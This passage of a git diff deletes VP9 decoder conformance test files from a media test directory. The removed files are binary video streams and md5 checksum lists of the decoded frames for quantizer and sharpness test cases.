Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_30_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_30_vp9_md5
deleted file mode 100644
index 39a6f82..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_30_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-e3b3cea66ea38c5dfba1aa73bb4c611d  vp90-2-00-quantizer-30-352x288-0001.i420
-42bb3e54b19c3f4c4f7ee3a6ba012e19  vp90-2-00-quantizer-30-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_31.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_31.vp9
deleted file mode 100644
index e83141f..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_31.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_31_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_31_vp9_md5
deleted file mode 100644
index 9d84937..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_31_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-2523e9ecfd3781eafcd7da192dc105e9  vp90-2-00-quantizer-31-352x288-0001.i420
-6d5feea012b9a1f51fc643633e728764  vp90-2-00-quantizer-31-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_32.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_32.vp9
deleted file mode 100644
index 5987ec8..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_32.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_32_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_32_vp9_md5
deleted file mode 100644
index 5e6cdde..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_32_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-0a0305eba36500ebf6cc6cc0f01f5a3b  vp90-2-00-quantizer-32-352x288-0001.i420
-2c76bcd6763467f9057a726fbcf50ab1  vp90-2-00-quantizer-32-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_33.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_33.vp9
deleted file mode 100644
index c053597..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_33.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_33_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_33_vp9_md5
deleted file mode 100644
index 4604865..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_33_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-c68433e0e94047c220be9b629334f744  vp90-2-00-quantizer-33-352x288-0001.i420
-fcfa4dff7a39bc9c5e315849ecbb46ea  vp90-2-00-quantizer-33-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_34.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_34.vp9
deleted file mode 100644
index 3b13d0c..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_34.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_34_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_34_vp9_md5
deleted file mode 100644
index 42ec3bd..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_34_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-ad9dc2f912c137b014a33e2792c88a25  vp90-2-00-quantizer-34-352x288-0001.i420
-11221ee4ea5c776f43af68756682cd5a  vp90-2-00-quantizer-34-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_35.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_35.vp9
deleted file mode 100644
index 9e88eaf..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_35.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_35_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_35_vp9_md5
deleted file mode 100644
index 7467703..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_35_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-75031f898cccf303a64ab46b1f815389  vp90-2-00-quantizer-35-352x288-0001.i420
-a4fc864e7fbc470dfcab6207e0eea152  vp90-2-00-quantizer-35-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_36.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_36.vp9
deleted file mode 100644
index 89095d8..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_36.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_36_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_36_vp9_md5
deleted file mode 100644
index f83c5fd..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_36_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-c7824af009fde6cafdd8d39fae6bb6cf  vp90-2-00-quantizer-36-352x288-0001.i420
-516a82d5fc4dfa3daf713ed2ec36041b  vp90-2-00-quantizer-36-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_37.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_37.vp9
deleted file mode 100644
index 51ea020..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_37.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_37_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_37_vp9_md5
deleted file mode 100644
index 56ae9cf..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_37_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-a2e5c820fd9733e18f9349fb658ca281  vp90-2-00-quantizer-37-352x288-0001.i420
-fb23e0bc64728a492a33d985032f21b8  vp90-2-00-quantizer-37-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_38.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_38.vp9
deleted file mode 100644
index b502d01..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_38.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_38_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_38_vp9_md5
deleted file mode 100644
index 5c70650..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_38_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-8347bfb891317e89ef66781d6c28e24f  vp90-2-00-quantizer-38-352x288-0001.i420
-a5722f824d32deac042513a1a7dcdcd0  vp90-2-00-quantizer-38-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_39.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_39.vp9
deleted file mode 100644
index 559a435..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_39.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_39_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_39_vp9_md5
deleted file mode 100644
index 7c9fece..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_39_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-018968f97fac3bdff146cf22c1da5ef0  vp90-2-00-quantizer-39-352x288-0001.i420
-ca8b09b01e5132183395e238f1c7901e  vp90-2-00-quantizer-39-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_40.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_40.vp9
deleted file mode 100644
index 2cbb549..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_40.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_40_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_40_vp9_md5
deleted file mode 100644
index 6b3c92a..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_40_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-792660f6589ad5340be4bd0554435866  vp90-2-00-quantizer-40-352x288-0001.i420
-68c84c8a15d679e0a73678b93215c62c  vp90-2-00-quantizer-40-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_41.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_41.vp9
deleted file mode 100644
index 910d486..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_41.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_41_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_41_vp9_md5
deleted file mode 100644
index 7df4a7f..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_41_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-a456bdfc6c1c07b4cb3a3848843743b9  vp90-2-00-quantizer-41-352x288-0001.i420
-fe41a12b8cb6bc5667ba2179e076f3b0  vp90-2-00-quantizer-41-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_42.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_42.vp9
deleted file mode 100644
index 53c6b55..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_42.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_42_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_42_vp9_md5
deleted file mode 100644
index 4abe677..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_42_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-f016dd8431694d989700fb1ba71a5b2d  vp90-2-00-quantizer-42-352x288-0001.i420
-e89c3c5b935157b40f2fb0ab92415828  vp90-2-00-quantizer-42-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_43.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_43.vp9
deleted file mode 100644
index 0d3e706..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_43.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_43_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_43_vp9_md5
deleted file mode 100644
index 2db4096..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_43_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-7b8ab82625f3006bac89d4fb5197e71c  vp90-2-00-quantizer-43-352x288-0001.i420
-18bd3716045563dfba2c72b640b3274b  vp90-2-00-quantizer-43-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_44.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_44.vp9
deleted file mode 100644
index 4b1c580..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_44.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_44_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_44_vp9_md5
deleted file mode 100644
index aa705be..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_44_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-66fde04d8320c750e56406feefd29979  vp90-2-00-quantizer-44-352x288-0001.i420
-f9d01d8fc1722ec345e624e14b404215  vp90-2-00-quantizer-44-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_45.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_45.vp9
deleted file mode 100644
index 12779d6..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_45.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_45_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_45_vp9_md5
deleted file mode 100644
index 4472c2f..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_45_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-cc97597b015896d73f3e60e7ae44c4da  vp90-2-00-quantizer-45-352x288-0001.i420
-fea98bc508f92135641ab99762444b14  vp90-2-00-quantizer-45-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_46.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_46.vp9
deleted file mode 100644
index 8f1aff1..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_46.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_46_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_46_vp9_md5
deleted file mode 100644
index bb306b1..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_46_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-79ed95c741178bb3c0954f1f6f8e21a3  vp90-2-00-quantizer-46-352x288-0001.i420
-f02a06a5e2b5b7619c9a52c5bea0564d  vp90-2-00-quantizer-46-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_47.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_47.vp9
deleted file mode 100644
index e8d81b4..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_47.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_47_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_47_vp9_md5
deleted file mode 100644
index 5734952..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_47_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-9b98e948b8c2a822f21bd8419e6f4410  vp90-2-00-quantizer-47-352x288-0001.i420
-491382d68c16c2a3c6f1746598bc4a97  vp90-2-00-quantizer-47-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_48.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_48.vp9
deleted file mode 100644
index 9644566..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_48.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_48_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_48_vp9_md5
deleted file mode 100644
index 0b79523..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_48_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-f0f095b0edae7262f44d7ed7ef84ded4  vp90-2-00-quantizer-48-352x288-0001.i420
-0e833889ccac81d60251007d1baf6500  vp90-2-00-quantizer-48-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_49.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_49.vp9
deleted file mode 100644
index c0efd85..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_49.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_49_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_49_vp9_md5
deleted file mode 100644
index 72f8300..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_49_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-6c1b7b7827617fb9b8417aca2cfdbcaa  vp90-2-00-quantizer-49-352x288-0001.i420
-4c1fc8a89297fdcf79f0faabd42b8684  vp90-2-00-quantizer-49-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_50.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_50.vp9
deleted file mode 100644
index 3797305..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_50.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_50_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_50_vp9_md5
deleted file mode 100644
index f104046..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_50_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-ca6142db68463487bc28c888ab38476c  vp90-2-00-quantizer-50-352x288-0001.i420
-02a71153ec70f569524c3d814cb62f86  vp90-2-00-quantizer-50-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_51.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_51.vp9
deleted file mode 100644
index ad66216..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_51.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_51_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_51_vp9_md5
deleted file mode 100644
index 7874a6f..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_51_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-eece2627df1ddf0872256eb92352e179  vp90-2-00-quantizer-51-352x288-0001.i420
-0ee9f221246ad747250e4b5e8ba586e2  vp90-2-00-quantizer-51-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_52.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_52.vp9
deleted file mode 100644
index b729121..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_52.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_52_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_52_vp9_md5
deleted file mode 100644
index d5092d6..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_52_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-7290039d974c4e50db9d69f9864bcdbe  vp90-2-00-quantizer-52-352x288-0001.i420
-264765de9d02503038a4da54133b9f85  vp90-2-00-quantizer-52-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_53.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_53.vp9
deleted file mode 100644
index eace52e..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_53.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_53_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_53_vp9_md5
deleted file mode 100644
index 3566f61..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_53_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-917af24da66f143a56a01eb2c2254285  vp90-2-00-quantizer-53-352x288-0001.i420
-45a05d3bc644420519619e4115662a70  vp90-2-00-quantizer-53-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_54.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_54.vp9
deleted file mode 100644
index 0100c2b..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_54.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_54_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_54_vp9_md5
deleted file mode 100644
index 96fdd4b6..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_54_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-6fea2820bb10a9dec9add4d2452b01f5  vp90-2-00-quantizer-54-352x288-0001.i420
-74675169a4bfc2ff5463c4db5d85a79f  vp90-2-00-quantizer-54-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_55.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_55.vp9
deleted file mode 100644
index d84bbb2..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_55.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_55_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_55_vp9_md5
deleted file mode 100644
index ec38867..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_55_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-11e5d196f6537fb7d85988d90195e556  vp90-2-00-quantizer-55-352x288-0001.i420
-8536106795f7c93c5a43a11493527469  vp90-2-00-quantizer-55-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_56.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_56.vp9
deleted file mode 100644
index befee07..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_56.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_56_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_56_vp9_md5
deleted file mode 100644
index a93ced9..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_56_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-40839b7a3a40ec10f96b8a75224f646d  vp90-2-00-quantizer-56-352x288-0001.i420
-11408dd73e8c45ddaab99f5c9650102b  vp90-2-00-quantizer-56-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_57.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_57.vp9
deleted file mode 100644
index 7df44d5..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_57.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_57_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_57_vp9_md5
deleted file mode 100644
index 1979cd8..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_57_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-d0e9fa03dd48da4592ebaadb4e3794e0  vp90-2-00-quantizer-57-352x288-0001.i420
-5172e29b1e04cd543833d6a68aab297c  vp90-2-00-quantizer-57-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_58.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_58.vp9
deleted file mode 100644
index 49a5fa9..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_58.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_58_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_58_vp9_md5
deleted file mode 100644
index cb06866..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_58_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-bef4a27d460e7697e038fe6f1c8bd597  vp90-2-00-quantizer-58-352x288-0001.i420
-124674686cafc5f2ff5bc7ea412b8f3b  vp90-2-00-quantizer-58-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_59.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_59.vp9
deleted file mode 100644
index fd50ac3..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_59.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_59_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_59_vp9_md5
deleted file mode 100644
index 240ea59..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_59_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-ae9d99e9d16ef20073300559566844ae  vp90-2-00-quantizer-59-352x288-0001.i420
-da9405e5a6bfe4ed18d927ba2004008e  vp90-2-00-quantizer-59-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_60.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_60.vp9
deleted file mode 100644
index d2caca9..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_60.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_60_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_60_vp9_md5
deleted file mode 100644
index 550fee98..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_60_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-9e66bb8e1b5e206ea4afe4bf2d335ac5  vp90-2-00-quantizer-60-352x288-0001.i420
-092b74c905c12c1e87e90f5a79857736  vp90-2-00-quantizer-60-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_61.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_61.vp9
deleted file mode 100644
index f20df40..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_61.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_61_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_61_vp9_md5
deleted file mode 100644
index 2e3edd3..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_61_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-d062dc6be246c8042744018765ef50a8  vp90-2-00-quantizer-61-352x288-0001.i420
-45fd9cbacb6a91060a7e49a58a85869d  vp90-2-00-quantizer-61-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_62.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_62.vp9
deleted file mode 100644
index 2b8fd32..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_62.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_62_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_62_vp9_md5
deleted file mode 100644
index 1d266b3..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_62_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-62f7e42fe653e81c5a65a25389e045b5  vp90-2-00-quantizer-62-352x288-0001.i420
-cb0cdd0b25689e0a43328550011d960d  vp90-2-00-quantizer-62-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_63.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_63.vp9
deleted file mode 100644
index 28c2564..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_63.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_63_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_63_vp9_md5
deleted file mode 100644
index b5d122f..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_63_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-8467643dceff827e04acd82eeff1d1b0  vp90-2-00-quantizer-63-352x288-0001.i420
-c786f49d66f4dfd685dea9605821a19f  vp90-2-00-quantizer-63-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_1.vp9 b/tests/tests/media/res/raw/vp90_2_01_sharpness_1.vp9
deleted file mode 100644
index dd0f0ee..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_1.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_1_vp9_md5 b/tests/tests/media/res/raw/vp90_2_01_sharpness_1_vp9_md5
deleted file mode 100644
index 1db2ed2..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_1_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-a2e5c820fd9733e18f9349fb658ca281  vp90-2-01-sharpness-1-352x288-0001.i420
-aa20a75be3a316193496706c9f760d08  vp90-2-01-sharpness-1-352x288-0002.i420
-95567be97a64d3c9efe45f2524116a2e  vp90-2-01-sharpness-1-352x288-0003.i420
-219e86cd6b3cca312856eead21776b1c  vp90-2-01-sharpness-1-352x288-0004.i420
-4a67fd359ca362398e97c15eb018a2bb  vp90-2-01-sharpness-1-352x288-0005.i420
-9916d4e359274d690827f0eb22547423  vp90-2-01-sharpness-1-352x288-0006.i420
-a07785b52561150c48f1a8eff89d5d75  vp90-2-01-sharpness-1-352x288-0007.i420
-a3382a92982953dfa20018e5ac975b51  vp90-2-01-sharpness-1-352x288-0008.i420
-911836989ca7b148438aa3ec7fc7e303  vp90-2-01-sharpness-1-352x288-0009.i420
-5627b981e3fc9e4401d35d3a5ab25917  vp90-2-01-sharpness-1-352x288-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_2.vp9 b/tests/tests/media/res/raw/vp90_2_01_sharpness_2.vp9
deleted file mode 100644
index d1d1a06..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_2.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_2_vp9_md5 b/tests/tests/media/res/raw/vp90_2_01_sharpness_2_vp9_md5
deleted file mode 100644
index cb4d78e..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_2_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-a2e5c820fd9733e18f9349fb658ca281  vp90-2-01-sharpness-2-352x288-0001.i420
-cd94572239817ae7c9b07de739c3272b  vp90-2-01-sharpness-2-352x288-0002.i420
-383cf752d457e122b5ff49d08960208e  vp90-2-01-sharpness-2-352x288-0003.i420
-1c0a6ec9cd3ce29b8b004e7526f1b07e  vp90-2-01-sharpness-2-352x288-0004.i420
-91c42a8a108d67947cabfc2a5a80df66  vp90-2-01-sharpness-2-352x288-0005.i420
-08c57fc1f3fec0305883315a66c714d1  vp90-2-01-sharpness-2-352x288-0006.i420
